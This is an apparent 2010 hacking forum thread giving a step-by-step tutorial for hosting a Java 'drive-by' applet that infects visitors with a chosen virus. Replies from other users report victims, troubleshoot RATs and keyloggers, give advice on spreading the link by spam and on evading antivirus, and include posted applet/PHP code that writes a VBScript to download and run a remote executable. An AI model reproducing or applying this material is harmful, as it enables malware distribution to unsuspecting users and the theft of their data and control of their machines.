Java Drive By Tutorial By Ultimato

This is a complete Tutorial on how to setup the java drive by applet !

Step One

Sign up at:

<http://fileave.com>

Step Two

Download the java applet here:

<http://www.multiupload.com/FI90XXVIAW>

Its safe check for yourself:

Solo - -

TrendMicro - -

VBA32 - -

VirusBuster - -

Zoner - -

Scan report generated by
NoVirusThanks.org
and unzip the file with Winrar

Step Three

Upload the files needed for the setup (All the files inside the Java Applet file + the virus you want to spread)

How to upload your virus you want to spread

1: Login on <http://fileave.com>

2: Click on "Files" [IMG][http://i49.\[censored\].com/fylfms.png](http://i49.[censored].com/fylfms.png)[IMG]

3: Click on "Upload Files" [IMG][http://i46.\[censored\].com/108h3xx.png](http://i46.[censored].com/108h3xx.png)[IMG]

4: Select all the files from the java applet you downloaded + the virus you are going to spread and press "Upload"

5: after that is done return to your files and it should look like this:

[IMG][http://i49.\[censored\].com/2zq4wsp.png](http://i49.[censored].com/2zq4wsp.png)[IMG]

Step Four

First Copy your link from your virus MAKE SURE YOU COPY YOUR OWN LINK FROM THE FILE YOU WANT TO SPREAD NOT THE ONE FROM THIS PICTURE!!!

[IMG][http://i45.\[censored\].com/u1sg8.png](http://i45.[censored].com/u1sg8.png)[IMG]

After you copied that URL go back to your files again and Press "Edit" from your "Index2.html"

[IMG][http://i46.\[censored\].com/15qexoi.png](http://i46.[censored].com/15qexoi.png)[IMG]

Something like this will show up

[IMG][http://i49.\[censored\].com/of4nx5.png](http://i49.[censored].com/of4nx5.png)[IMG]

there are 2 things saying "YOUR URL HERE" (you only see 1 on the picture but when you scroll to the left there is another one!)

[IMG][http://i49.\[censored\].com/33acqah.png](http://i49.[censored].com/33acqah.png)[IMG]

AND

[IMG][http://i47.\[censored\].com/2ngc2gx.png](http://i47.[censored].com/2ngc2gx.png)[IMG]

Once you replaced them press "Save" And you automatically return to your files!

Step Five

Now your java applet should WORK simply press on your "Index.html" and it will load and a screen will popup [IMG][http://i45.\[censored\].com/21jn31k.png](http://i45.[censored].com/21jn31k.png)[IMG]

If you press "Run" You will get infected with the virus!

Step Six

The URL to the Applet looks something like this

[IMG][http://i46.\[censored\].com/9jm0yp.png](http://i46.[censored].com/9jm0yp.png)[IMG]

Copy the URL and go to:

<http://dot.tk>

Put your URL in there and press Next (were it says "Volgende" on the picture but im Dutch)

CLICK THE URL TO OPEN THE LAST 2 PICTURES, I CAN ONLY HAVE 10 PICTURES UPLOADED IN 1 THREAD AND I HAVE 12 SO JUST CLICK THE LAST 2 PICTURES BY YOURSELF!

[http://i47.\[censored\].com/jjbs53.png](http://i47.[censored].com/jjbs53.png)

Now change the name into whatever you want!

[http://i47.\[censored\].com/2i8kgy8.png](http://i47.[censored].com/2i8kgy8.png)

As you can see i changed it into blabla123.tk

fill in the Captcha and scroll down and click on "Confirm" there is no need to press on "Next" because the site will also work without a email!

Step Seven

SUCCESS !!! if you go to the website you changed the URL into (mine is blabla123.tk) it will go to your Applet!!

Enjoy!!!!

IF YOU LEECH MY TUTORIAL MAKE SURE YOU GIVE ME CREDITS!!!

eXero - March 7, 2010, 2:29 pm

cool. it works for me! thanks man! great tut!

iLL ReDBuLL - March 7, 2010, 2:33 pm

My god this is the best thing!!! I've been looking for this amazing tutorial !!!

kingsized - March 7, 2010, 2:34 pm

nice guide, it helped me alot cuz of the pictures.

DvS - March 7, 2010, 2:34 pm

good tut, will be useful in the future.

Get OFF shadow - March 8, 2010, 12:03 am

so would it be possible to do something like this but make it where it pops up and downloads if someone visits my myspace profile?

Joser - March 8, 2010, 12:08 am

(Mar 8, 2010 01:03 AM)Get OFF shadow Wrote: [\[CITE\]](#) so would it be possible to do something like this but make it where it pops up and downloads if someone visits my myspace profile?

Not unless you could change the index page of myspace.

hemanthvrm - March 8, 2010, 4:05 am

fileave will suspend our account.....

whats the best replacement for this site

Gpizzle - March 8, 2010, 4:06 am

how do u change the background image? so its not just plain black?

NewKlear - March 8, 2010, 4:46 am

It worked for me , but i didnt try it on my computer
does it show up a fake error message when the victim
hits run ?

H8ff0000 - March 8, 2010, 8:51 am

Great stuff ultimato. Works perfectly.

djdandew - March 8, 2010, 9:20 am

This looks neet will try this later, thanks

Eric Cartman - March 8, 2010, 1:50 pm

i've done everything you said, but it doesnt work. I have vista would that effect anything?

ultimato - March 9, 2010, 2:13 am

(Mar 8, 2010 02:50 PM)bradman Wrote: [\[CITE\]](#) i've done everything you said, but it doesnt work. I

have vista would that effect anything?

Explain to me what isnt working for you, or send me a pm!

gaylechris - March 9, 2010, 4:17 am

can it b done without getting that warning message asking to run??????????????

-mothered- - March 9, 2010, 5:02 am

Amazing stuff mate. Works flawlessly with great results :)

Punisher - March 9, 2010, 6:46 am

It isn't a driveby if the person has to accept a prompt.

This isn't a drive by.

ultimato - March 9, 2010, 2:23 pm

(Mar 9, 2010 07:46 AM)Sicksh0t Wrote: [\[CITE\]](#) It isn't a driveby if the person has to accept a prompt.

This isn't a drive by.

What is are you talking about?

Cabin Fever - March 9, 2010, 5:45 pm

It says "Error, Click For Details" after I click "Run". What's up with that?

Fuck yeah it works NVM! I LOVE YOU!

Aw Ma Gawd - March 9, 2010, 9:26 pm

Bout to test this :)

i've been looking for one of these.

^^ wooot this works tyvm

i got a question/idea tho

could this be used to run multiple viruses at once..

like maybe u could make it run..idk lets say make it run ur server.exe for ur ddoser..and ur server.exe for ur rat? at the same time in the same applet? just a thought, this could lead to bigger and better things.

HeBeTrollin - March 9, 2010, 10:51 pm

Thanks!

.....

ultimato - March 9, 2010, 11:40 pm

(Mar 9, 2010 06:45 PM)The Phlegethon Wrote: [\[CITE\]](#) It says "Error, Click For Details" after I click "Run". What's up with that?

Fuck yeah it works NVM! I LOVE YOU!

it allways says that, but when they clicked "RUN" it doesnt realy mather what is appearing, all that mathers is that he got infected! ;D

J e r M z - March 10, 2010, 1:58 am

Ya good tut and a nice person too. Keep up the good work ;)

Carb0n F1ber - March 10, 2010, 2:16 am

Can I just keep all the files on my local computer ?? .. and infect via LAN by DNS_spoofing ?? .. Would that work ???

If it works, it would be Epic... Imagine vimtim loads google.com and this security alert pops up, 99% of them will click OKAY without even reading ?

bully - March 10, 2010, 5:18 am

Worked like a charm will rep when i can,

ultimato - March 10, 2010, 7:26 am

(Mar 10, 2010 03:16 AM)Carb0n F1ber Wrote: [\[CITE\]](#) Can I just keep all the files on my local computer ?? .. and infect via LAN by DNS_spoofing ?? .. Would that work ???

If it works, it would be Epic... Imagine vimtim loads google.com and this security alert pops up, 99% of them will click OKAY without even reading ?

Imagine what will happen when you do this on www.runescape.com that would be epicly! xD

(Mar 10, 2010 06:18 AM)? highkid ? Wrote: [\[CITE\]](#) Worked like a charm will rep when i can, Thank you very much and no problem for the tut!

bunny99 - March 10, 2010, 8:12 am

i did all the process....

but only one victim is getting affected

can we affect many people at a time.....

how to remove the present victim and choose the new one

Gogeta1217 - March 10, 2010, 1:44 pm

Umm mine doesn't show a run tab, but instead goes straight to the error.

Edit nvm. its prob because I ticked always trust things from this person thing

Monoxide - March 10, 2010, 5:44 pm

Thanks! Finally A java drive by that actually works perfectly >.>

Arron XR - March 10, 2010, 6:55 pm

can you help me as i just get error file not found i have followed the TuT step by step PM please

ultimato - March 11, 2010, 12:46 am

(Mar 10, 2010 07:55 PM)Arron XR Wrote: [\[CITE\]](#) can you help me as i just get error file not found i have followed the TuT step by step PM please

hmmm...its probably fileave thats doing this, try again later!

Fluttershy - March 11, 2010, 1:29 am

the first link is dead :(

EDIT: never mind it was just down for a second

zietda - March 11, 2010, 3:57 am

Bedankt voor de TUT.

Thanks for the great tut.

Arron XR - March 11, 2010, 5:04 am

(Mar 11, 2010 01:46 AM)ultimato Wrote: [\[CITE\]](#) hmmm...its probably fileave thats doing this, try again

later!hi no i just tried again and still nothing. is it something to do with the first file. you have Client.jar but i have client.class

zietda - March 11, 2010, 5:12 am

When i click run, I get this error:

[img]http://img715.imageshack.us/img715/7372/errorxm.jpg[/img]

And when i click for details, I get this:

[img]http://img121.imageshack.us/img121/2333/error2a.jpg[/img]

kratoz-bot - March 11, 2010, 6:23 am

(Mar 11, 2010 06:12 AM)zietda Wrote: [\[CITE\]](#) When i click run, I get this error:

[img]http://img715.imageshack.us/img715/7372/errorxm.jpg[/img]

Quote:it allways says that, but when they clicked "RUN" it doesnt really matter what is appearing, all that matters is that he got infected! ;D

Does that answer your question?

Callmetony - March 11, 2010, 4:20 pm

Thanks for the tut.

But, This doesn't work for me.

I do exactly what it says, and I even tested it on myself, and still doesn't work.

Anyone have an idea or something to help me make this work?

Edit : The problem is with the Windows script host.

it says "Local/Temp/winconfig.vbs"

Line "12"

Anyone can help me?

masterllama - March 11, 2010, 5:54 pm

good tutorial.

its scary how powerful java is. It seems so innocuous to the end user, its very surprising that it can in fact download and run a program from the web browser

Pucca - March 13, 2010, 6:12 am

thx for the tut very understandable and easiest to follow !! Great TUT

oh btw is there anyway to change Client install name to something else? also If we could change background image etc etc that more appealing and interesting XD

le0pard - March 13, 2010, 10:54 am

Great tut, it's working perfectly....
actually the first TuT that worked for me ;)

keep up the good work & thanks for sharing...

ACT!V!R-ONE - March 13, 2010, 1:46 pm

Works Fine Thanks Man ^^
I was searching for that for long time ^^

7Oinc - March 13, 2010, 2:16 pm

Thanks dude, just what I need. (H)

shuks - March 13, 2010, 2:29 pm

Works GREAT!!! your the shit!!!

I go into large forums and say "OMG!!>> CHECK THIS OUT" or some shit and link my website.
Got about 10 victims so far

DenjerOpa - March 14, 2010, 5:17 am

Thank-You was looking for this one ;)

ultimato - March 14, 2010, 6:29 am

No problems guys! ;D

blackstars09 - March 14, 2010, 11:52 am

I will try with an Fud server, thanks

bullzye xxx - March 15, 2010, 4:22 am

I get an error for mine that says

Error. Click here for details.

like this, <https://hackforums.net/showthread.php?tid=309070>

Syntrax88 - March 15, 2010, 5:36 am

(Mar 15, 2010 04:22 AM)bullzye xxx Wrote: [\[CITE\]](#) I get an error for mine that says

ultimato - March 17, 2010, 12:39 am

(Mar 16, 2010 11:34 AM)blazsword Wrote: [\[CITE\]](#) Awsome tut!!! ?
np, any questions? feel free to PM me! ?

OnlyMeDontPanic - March 17, 2010, 2:41 am

Works a treat thanks for the excellent tutorial

flAmingw0rm - March 17, 2010, 3:53 am

Great tutorial dude, but I prefer fileave, because Spam goes down each 1-2 seconds.

ActimeL - March 17, 2010, 6:56 am

Please upload to another mirror :)

bcom_bad - March 17, 2010, 12:44 pm

a great tut thanks a lot man

burgerking726 - March 17, 2010, 1:49 pm

Is it possible to do this on a myspace page since you can edit the page?

peek - March 17, 2010, 4:27 pm

I put in my link "http://h1.Spam.com/peek/index.html" Then make my site name "CyberHackz.tk"
When I click on it the box and everything shows up, but I noticed that It just says from
"http://www.ripyway.com" not "http://h1.Spam.com/peek/index.html" Like how your says your link
example: (mine) "http://h1.Spam.com/peek/index.html". Did I do something wrong? Please reply...

Thank you.

rifts1103 - March 17, 2010, 5:20 pm

they have to hit run though so that sucks

oltenvisp - March 17, 2010, 6:35 pm

I am getting error :application failed to start

try to update your java, if you dont know if your virus works try a other program that it needs to run
like...if you would click RUN it will run a batch file something like that so you know it works...

CyberM@X - March 19, 2010, 1:26 am

Niceeee! i +3 repped you for this!

N1tru\$Eng@uge - March 19, 2010, 8:57 am

Awesome tut,

I learned a lot by this and am now using it as my #1 spreading method. Very easy to set up a Java drive-by now that I read this.

Thank you!!!

XACTLYSIN - March 19, 2010, 9:04 am

Yea gottat giv it to you good tutorial!!

raponi - March 19, 2010, 9:59 am

I set it up, and have gotten dozens of people to run it but it doesn't show up on the RAT... people just say that once they click run they get an error..

I use firefox

PLEASE HELP ME

eitbritw0rld - March 19, 2010, 10:00 am

Nice job looks pretty good even tho i know how to make one already haha

SUPERIOR - March 19, 2010, 1:19 pm

nice tutorial very tidy and neat

thank you very much bro, you must got some vouches ;)

just one thing

Quote:Copy the URL and go to:

<http://dot.tk>

Put your URL in there and press Next (were it says "Volgende" on the picture but im Dutch)
CLICK THE URL TO OPEN THE LAST 2 PICTURES, I CAN ONLY HAVE 10 PICTURES
UPLOADED IN 1 THREAD AND I HAVE 12 SO JUST CLICK THE LAST 2 PICTURES BY
YOURSELF!

[http://i47.\[censored\].com/jjbs53.png](http://i47.[censored].com/jjbs53.png)

Now change the name into whatever you want!

[http://i47.\[censored\].com/2i8kky8.png](http://i47.[censored].com/2i8kky8.png)

As you can see i changed it into blabla123.tk

fill in the Captcha and scroll down and click on "Confirm" there is no need to press on "Next"
because the site will also work without a email!

Step Seven

SUCCESS !!! if you go to the website you changed the URL into (mines is blabla123.tk) it will go to your Applet!!

can you explain more? what's that site for ...what pictures etc
excuse my noobish :(

N1tru\$Eng@uge - March 19, 2010, 1:54 pm

(Mar 19, 2010 09:59 AM)raponi Wrote: [\[CITE\]](#) I set it up, and have gotten dozens of people to run it but it doesn't show up on the RAT... people just say that once they click run they get an error..

I use firefox

PLEASE HELP ME

Are you sure your rat is configured properly, have you forwarded your RAT port, have you tested it locally or within a sandbox to ensure the rat server is not corrupt? I use firefox as well and there should be no problem there.?

L@NT3RN - March 19, 2010, 10:27 pm

Yes! works on XP Vista and Windows 7

Enjoy!

ultimo - March 22, 2010, 8:51 am

(Mar 22, 2010 06:49 AM)php Wrote: [\[CITE\]](#) "IF YOU LEECH MY TUTORIAL MAKE SURE YOU GIVE ME CREDITS!!! "

You didn't give me credits for supplying the java applet.

Neg repped, because you deserve it most likely.

Ohhh....Well sorry for that! ill ask some admin/mod to change it so you also will get credits for it! but -3rep isnt that a kinda abuse? cuz you just come here and give me -3 rep thats just rep abuse so could you remove that?

ultimo - March 22, 2010, 8:55 am

(Mar 22, 2010 08:53 AM)php Wrote: [\[CITE\]](#) It isn't abuse if it's the truth. You leeches the applet, and did not give credits, which is the main reason of the negative reputation. If I were to go around negative repping everyone, that would be considered abuse. I have a reason.

DUDE this is abuse! like i said i will get it changed as soon as possible...so there wont be a reason for it ! and you could also ask it FRIENDLY to give you credits also....this shows up how unrespectfull you are cuz there is another java tut from TheBlackHat...Give him -3rep also...cuz he also gives credits to himself and not to you...so or delete my -3rep or give him also -3rep....

THANX!!!

bruton2010 - March 22, 2010, 10:19 am

this is all good and working but how do you get traffic to the page so they can download it.

ultimato - March 22, 2010, 10:24 am

(Mar 22, 2010 10:19 AM)bruton2010 Wrote: [\[CITE\]](#) this is all good and working but how do you get traffic to the page so they can download it.

spam it on site's forums msn adn other things were lots of people come together (games) and stuff! youtube! just use your imagine! ?

Pinterest - March 22, 2010, 11:26 am

this no longer works? i followed ur simple tut - doesnt work at all :S

akaicewolf - March 22, 2010, 11:35 am

really good tut, its clear and easy to follow

This guy is a leecher and a scammer. Do not trust.

Wazakindjes - March 25, 2010, 2:50 pm
OP leeched this guide from me. He got it from another site. I have a guide like this as a pdf, that's why he posted the contents instead of a link to the pdf. I offered my guide on that website on 03-03-2010, 05:24 PM. And look at ultimato's post: 03-07-2010, 11:02 PM. Link to my guide: <http://sharesend.com/gboky>. Notice any things that are the same?

fation1000 - March 31, 2010, 12:12 pm
what virus i should upload?????????????

d_nimativ - March 31, 2010, 2:09 pm

Fileave doesn't seem to like me.

Just created an account and uploaded some files, and my account "exceeded bandwidth" right off the bat, without any transfers.

I'm guessing they're not real big on .exes being uploaded, or something.

manndi - March 31, 2010, 3:57 pm

i test my site on my computer when i install the client apper a page "error click for details" is that normal?

kristiecakes - March 31, 2010, 4:19 pm

fileave suspended my account even after paying to upgrade! is there any alternative?

bellymonster26 - March 31, 2010, 10:36 pm

I tested this on myself and it worked, but when i test it on a different computer it shows a grey box with a red X in the top corner and does not show the java screen at all? any suggestions?

Donkey - April 1, 2010, 2:36 am

does this autorun the file once accepted?

whitelion255 - April 1, 2010, 5:04 am

Wow it worked. i guess its supposed to show the error after you run it, but i did infect myself. Nice job!

Mr Kewl - April 2, 2010, 3:26 am

Code This file is neither allocated to a Premium Account, or a Collector's Account, and can therefore only be downloaded 10 times.

This limit is reached.

To download this file, the uploader either needs to transfer this file into his/her Collector's Account, or upload the file again. The file can later be moved to a Collector's Account. The uploader just needs to click the delete link of the file to get further information.
upload it somewhere else

N1tru\$Eng@uge - April 2, 2010, 3:35 pm

Anyone know if this is possible---

Situation - Victim clicks RUN on the requested pop-up and instead the java window displaying error, it will show a picture you upload?

This would be really useful for giving the link to people and telling them its your personal photobucket account or something like that.

Starburst - April 3, 2010, 2:45 am

(Apr 2, 2010 03:35 PM)N1tru\$Eng@uge Wrote: [CITE](#) Anyone know if this is possible---

Situation - Victim clicks RUN on the requested pop-up and instead the java window displaying error, it will show a picture you upload?

This would be really useful for giving the link to people and telling them its your personal photobucket account or something like that.

This would be very very awesome. But I think you'd need to edit the client.

Mr Kewl - April 3, 2010, 5:33 am

But I don't seem to be able to find a good site.

Cheers,
Jocken

AciD © - April 23, 2010, 7:44 am

Good TUT Thanks mate :)

White Collar - April 23, 2010, 11:02 am

Ok I got the drive by working fine and I had my rat send logs to my ftp server, I get logs fine but they show up as a file, and when I try to open with word/notepad its some weird coded crap any ideas?

MarV™ - April 27, 2010, 4:31 pm

i have a

```
java.lang.IllegalArgumentException: Empty command
  at java.lang.Runtime.exec(Unknown Source)
  at java.lang.Runtime.exec(Unknown Source)
  at Client.init(Client.java:27)
  at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
  at java.lang.Thread.run(Unknown Source)
Exception: java.lang.IllegalArgumentException: Empty command
```

error ? wtf is that ? when i run my applet

Ephorize - April 27, 2010, 6:23 pm

Great tutorial, work's for me! :D Now time to get some infectees! or well, let's say... Let the games Begin :D

gerald311441 - April 27, 2010, 6:48 pm

(Mar 8, 2010 01:08 AM)Joser Wrote: [\[CITE\]](#) Not unless you could change the index page of myspace.

That seems rather doubtful doesn't it?

blackshot1996 - April 28, 2010, 2:55 am
does this work with keyloggers?

Skyro - April 28, 2010, 2:58 am
(Apr 28, 2010 02:55 AM)blackshot1996 Wrote: [\[CITE\]](#) does this work with keyloggers?
Yes.

He11derwish - May 5, 2010, 9:27 am

Nice. ?

But if my AV is activated i get this error:

Quote:Script: C:\users***\AppData\Local\Temp\winconfig.vbs

Line: 21
Character: 1
Error: Acces denied.
Code: 800A0046
Source: Runtime error in Microsoft VBScript
(Translated)

With AV off. It works but is there anyway around ?

Braco Asshole - May 5, 2010, 9:29 am
Avira Anti-Virus detected this.

He11derwish - May 5, 2010, 9:42 am
(May 5, 2010 09:29 AM)Braco22 Wrote: [\[CITE\]](#) Avira Anti-Virus detected this.
um. danm.

Are there problems with other Anti-virus programmes?
Or is it just Avira?

Md0G - May 5, 2010, 10:07 am
I would so +rep you if I could. This is perfect for snaring my idiot runescape playing classmates. Yes I know its sad that they play runescape, but it's good because I'm like "yo this private server rocks! Join" And they probably will! :D

Typhoon - May 5, 2010, 11:10 am

Honllyn - May 6, 2010, 4:08 am
http://img7.hostingpics.net/pics/189345Sans_titre_1.jpg

HELP ME PLEASE

creapzur - May 10, 2010, 8:34 am
Oh my days, it actually worked, I fucking love you.

Sorry for the Fuck.
AVG Detected it.

SSSSSSSSSS

ovvo - May 12, 2010, 4:19 pm
antiivirus shows SCRIPT BLOCKED and logs wont come!!!!

Desg - May 12, 2010, 7:18 pm
Helped me before it got blocked by antivirus's.

daneuchar - May 12, 2010, 9:53 pm
Cool....! amazing tut dude.. helps a lot

TehManyFacedGod - May 12, 2010, 11:44 pm

Pretty much just a rip of my tutorial but in a different order...

olivier93612 - May 13, 2010, 9:23 am

Is it normal that BitDefender detects the "java-applet.rar" as a trojan java downloader ?

Delysid - May 14, 2010, 6:27 am

WORKING PERFECT!!! THANK YOU FOR SHARING!!!!

fallax - May 14, 2010, 9:44 am

(May 13, 2010 09:23 AM)olivier93612 Wrote: [\[CITE\]](#) Is it normal that BitDefender detects the "java-applet.rar" as a trojan java downloader ?

Yes, many AV detect index2.html like trojan, even when surfer connect to you applet url...I think Java drive by is dead now, or I search any solution to keep FUD html file.

Bang T - May 15, 2010, 12:51 am

great tutorial :D hope it works

Livewire - May 15, 2010, 1:25 am

Great tutorial; worked pretty much flawless for me! gonna go test and see results! (:

fallax - May 15, 2010, 6:31 am

But you didn't have any problem with your AV ???

<http://www.virustotal.com/fr/analysis/6fe628dee5ff35e1d63a0cdbb0563a741e8e855612eeec1460a111087a881627-1273462058>

-XxxV1r0j4NxxX- - May 15, 2010, 9:14 am

(May 14, 2010 09:44 AM)fallax Wrote: [\[CITE\]](#) Yes, many AV detect index2.html like trojan, even when surfer connect to you applet url...I think Java drive by is dead now, or I search any solution to keep FUD html file.not quite the main problem is that the actual client.jar file is been detected the index2.html file can be easily modified/changed so its fud.

Delysid - May 15, 2010, 9:24 am

http://www.iwebtool.com/html_encrypter - this fill FUD index2.php

-XxxV1r0j4NxxX- - May 15, 2010, 9:33 am

(May 15, 2010 09:24 AM)echo.phyber Wrote: [\[CITE\]](#) http://www.iwebtool.com/html_encrypter - this fill FUD your index2.phpwont fud the client.jar which is more detectable than the index2 file

fallax - May 15, 2010, 9:45 am

echo ;-)

V1r0j4: client.jar is undetected, right ? Where is your problem, I don't understand, sorry

-XxxV1r0j4NxxX- - May 15, 2010, 10:13 am

(May 15, 2010 09:45 AM)fallax Wrote: [\[CITE\]](#) echo ;-)

V1r0j4: client.jar is undetected, right ? Where is your problem, I don't understand, sorryno client.jar is detected by 10 virus scanner the index2 is only detected by a few and can easily be changed so its not detected, people should be focusing more on getting the jar file fud.

ReFuel - May 20, 2010, 7:22 pm

any ideas on how to fix this?

Spoiler ([Click to View](#))

[IMG]<http://i343.photobucket.com/albums/o441/Hespeler1995/DrivebyError.png>[/IMG]

Bakedman - May 20, 2010, 11:18 pm

for some reason when i get to step 5 i click the index link and the java thing isnt popping up and i did all the other steps any suggestions?

blacknblue - May 22, 2010, 4:08 am

great tutorial!! Works great!!! Thanks!

kazclub - May 22, 2010, 7:15 am

Nice tnX!

oooooooooooooooooooooooooooo short!

ada? - May 30, 2010, 9:16 am

thx bro, just looking for a nice crypter now ;)

ActimeL - May 30, 2010, 1:04 pm

Good working good.,how to good spread :) , thx man for this tut

maxwar69 - May 30, 2010, 6:23 pm

Awesome, worked like a charm.

--

Nvm, everyone keeps getting the little red X thingy D: D: D:

bmw222000 - May 31, 2010, 3:29 pm

thankx man its really perfect!!

Naww - May 31, 2010, 4:06 pm

Hello, No-ip don't serves for this? I mean allocation of file.

Thanks for your attention

?

Enter Shikari - May 31, 2010, 5:42 pm

Still works. Love the tutorial gonna try to spread tonight! ^^

Over9kPing - June 2, 2010, 1:43 pm

I'm guessing this does not work with 00webhost.com... :(

For some reason i'm getting errors when I try to test the file and infect my spear computer.

kool_zero - June 3, 2010, 7:09 pm

Awesome :) Thanks a lot for this :D

vZGoblin - June 4, 2010, 3:53 am

very nice tutorial. thank you :)

SIM-119661 - June 4, 2010, 4:23 am

Thanks for this tutorial after 30 minutes i have got 17 victims at my keylogger :D Maybe more but im getting logs from 17 differents :D

chaze - June 6, 2010, 1:45 am

failed to run, cause client.jar are being detected :)

nice, it works for me :)

but 6/19 said infected, and i suck at crypting etc..

anyone could tell how i should FUD this or what u call it.

Montana - June 6, 2010, 2:49 am

Great tutorial thanks for sharing already using this and works great.

iamhappy321 - June 7, 2010, 12:40 am

will try it looks good. nice taut!

Diamond3x - June 7, 2010, 5:20 am

Worked fine 4 me,especially the dot.tk thing is amazing.Looks like real.Thanks.

How do i change it to look like a webcam.I mean the "client"&"microsoft".How do i change "client" to "webcam".

EDIT:Avira detects the client.jar as java runner or something.How to make it FUD or is there any other drive by thats FUD?

h3h3y9 - June 9, 2010, 1:11 am

nice tutorial. good explaining!

Embrace The Martian - June 9, 2010, 6:22 am

Thanks, the server works and infects them but I get a java error on the actual page so the pics don't load but there are infected anyway so its only them not seeing htem.

screenbuster - June 9, 2010, 7:20 am

nice guide, it helped me alot cuz of the pictures.

geneous - June 9, 2010, 9:16 am

u rockzzzz man....

thank you very very much for such a gr8 tutorial...

Ted - June 9, 2010, 9:36 am

THIS IS FUCKING LEECHED! ALL LINKS IN THIS THREAD ARE INFECTED!

alexcotzi2007 - June 9, 2010, 10:54 am

thanks man this really helped me!

alexcotzi2007 - June 10, 2010, 6:10 am

Thank you verry much,it works for me

Embrace The Martian - June 10, 2010, 7:53 am

(Jun 9, 2010 09:36 AM)Ted Wrote: [\[CITE\]](#) THIS IS FUCKING LEECHED! ALL LINKS IN THIS THREAD ARE INFECTED!

Im sorry what?

DO you mean the example.tk site as most people should know thats infected.

SivaKuMar - June 10, 2010, 8:19 am

Is your server.exe is loaded on victim system while opening the java drive-by?

i tryed in my laptop ,i opened my link ,then java applet loaded but my server.exe(renamed to update.exe) is not leaded(see in task manager)

then how u got success?

SLAPYA - June 10, 2010, 8:21 am

thx man, nice share i l0ve jda

ilodude - June 10, 2010, 9:24 am

Nice tutorial!!!! This will be useful sometime.

The Lonely Hacker - June 13, 2010, 1:31 am

to get the java drive by to not require the person to press run cant you just change the code so that it will run automatically.

asheep on roids - June 15, 2010, 12:34 pm

yes it worked!!!! love you!!

doctorsql - June 16, 2010, 5:59 am

I Lovvee uu maann!! :D :D :D

You are the bessssTTT! :D

SIM-135152 - June 16, 2010, 6:12 am

great tutorial thank you so much

Derang3 - June 16, 2010, 1:32 pm

good tut bro! 5starssss

KryG - June 16, 2010, 4:58 pm

Didn't the new Java update that just came out patch Drive By's?

Igun - June 16, 2010, 7:42 pm

Great guide man 3+ rep I'm doing it right now

LeisureDeveloper - June 17, 2010, 1:31 pm

(Jun 16, 2010 04:58 PM)KryG Wrote: [\[CITE\]](#) Didn't the new Java update that just came out patch Drive By's?

Did it? Can someone please confirm this?

Black hat Briefing - June 17, 2010, 1:45 pm

I've heard that it was patched too, but most people i guess do not update java, so there shouldn't be a problem in most cases.

r1pper - June 17, 2010, 2:47 pm

afaik, it is patched in this way, that you cannot run it without beeing prompted with this "allow me to run"-window,

I think it still works, but now with this certificate.

The only thing is, that AVs detect the vbs script and the html script..

- 1.Public Java Drive-By applet detected by 14-16 AVs including Avira.
- 2.Public HTML's are detected by 11-13 AVs .
- 3.WinConfig.vbs detected by 5-6 AVS including Avira .

But i've fudded all of them except Java :(.
Java can be FUD'ed with ProGuard . But have some issue about mixed signed/unsigned class .And
some signing problem :(.

\$W1TcH - July 7, 2010, 8:21 pm

its dectected but still very useful if some users don't have their AV's Updated or even have one.

blackdown - July 8, 2010, 8:15 pm

I have rebuilded the code for me

Replace the applet in the code html : (create new file finished by .php)

Basicly, the script is detected by 11 AV (kaspersky, nod32, antivir...)

The script is FUD, 1/41 on VirusTotal (Mcafee GW Edition...)

```
Code    <applet archive="Client.jar" code="Client.class" style="height:1px;width:1px;">
        <param name="windows1" value='<?php
        $link = 'YOUR VIRUS ADRESS EXECUTABLE';
        $virus = 'cmd.exe /c
        echo Const adTypeBinary = 1 > %temp%\IRC.vbs &
        echo Const adSaveCreateOverWrite = 2 >> %temp%\IRC.vbs &
        echo Dim S >> %temp%\IRC.vbs &
        echo Dim A >> %temp%\IRC.vbs &

        echo Dim DYNAMIC >> %temp%\IRC.vbs &
        echo S = "ADODB" >> %temp%\IRC.vbs &
        echo A = ".Stream" >> %temp%\IRC.vbs &
        echo Set DYNAMIC = CreateObject(S+A) >> %temp%\IRC.vbs &

        echo DYNAMIC.Type = adTypeBinary >> %temp%\IRC.vbs &
        echo DYNAMIC.Open >> %temp%\IRC.vbs &
        echo DYNAMIC.Write BinaryGetURLLOL(Wscript.Arguments(false)) >> %temp%\IRC.vbs &
        echo DYNAMIC.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >>
        %temp%\IRC.vbs &

        echo Function BinaryGetURLLOL(URL) >> %temp%\IRC.vbs &
        echo Dim Http >> %temp%\IRC.vbs &
        echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %temp%\IRC.vbs &
        echo Http.Open "POST", URL, False >> %temp%\IRC.vbs &
        echo Http.Send >> %temp%\IRC.vbs &
        echo BinaryGetURLLOL = Http.ResponseBody >> %temp%\IRC.vbs &
        echo End Function >> %temp%\IRC.vbs &

        echo Set shell = CreateObject("WScript.Shell") >> %temp%\IRC.vbs &
        echo shell.Run "%temp%\update.exe" >> %temp%\IRC.vbs &

        start %temp%\IRC.vbs '.$link.' %temp%\update.exe';

        echo htmlentities($virus);
        ?>' />
        <param name="windows2" value="" />
</applet>
```

TheAxis - July 8, 2010, 8:34 pm

Really simple thanks

Spoiler ([Click to View](#)) Too short

hygores - July 9, 2010, 5:38 am

Is it FUD with a rat FUD ?
cause when i check my link in novirus it say it's clean

lolsmileyface - July 10, 2010, 2:26 pm

Thanks for the tutorial. Seems easier to spread something this way.

the.c0mrade - July 10, 2010, 3:13 pm

(Jul 10, 2010 02:26 PM)lolsmileyface Wrote: [\[CITE\]](#) Thanks for the tutorial. Seems easier to spread something this way.

not anymore. its detected by all av's.

r1pper - July 10, 2010, 8:26 pm

I found a little trick to get it mostly UD but there is still a AV which detects it (I think that's because it use Sandboxes or so)

I took out the whole "echo >> vbs" part from the HTML and put it directly in the java file, so that the HTML is not detected anymore..

The Problem is the vbs script that is created..

I also saw, that some AVs detect when you try to download a ".exe" file via VBS, so I simply renamed it to "*.zip" and let the script download and rename it again to exe.. it worked!

I named my server "svchost.exe" and that's a problem, too, but in my Script I took a variable for every single letter of the server name, so that there is no "svchost.exe" in this script..

but sandbox-AVs still get it..

I am not a coder or something, so this is not the best and cleanest solution, but I collected everything I could from the internet to rewrite the script.

I leaned Java at school and that's everything I know about it, never seen visualBasic before and HTML only basics...

Now it is:

snop - July 12, 2010, 2:52 am

Can u upload your edit version of it? plz ;)

r1pper - July 12, 2010, 3:41 am

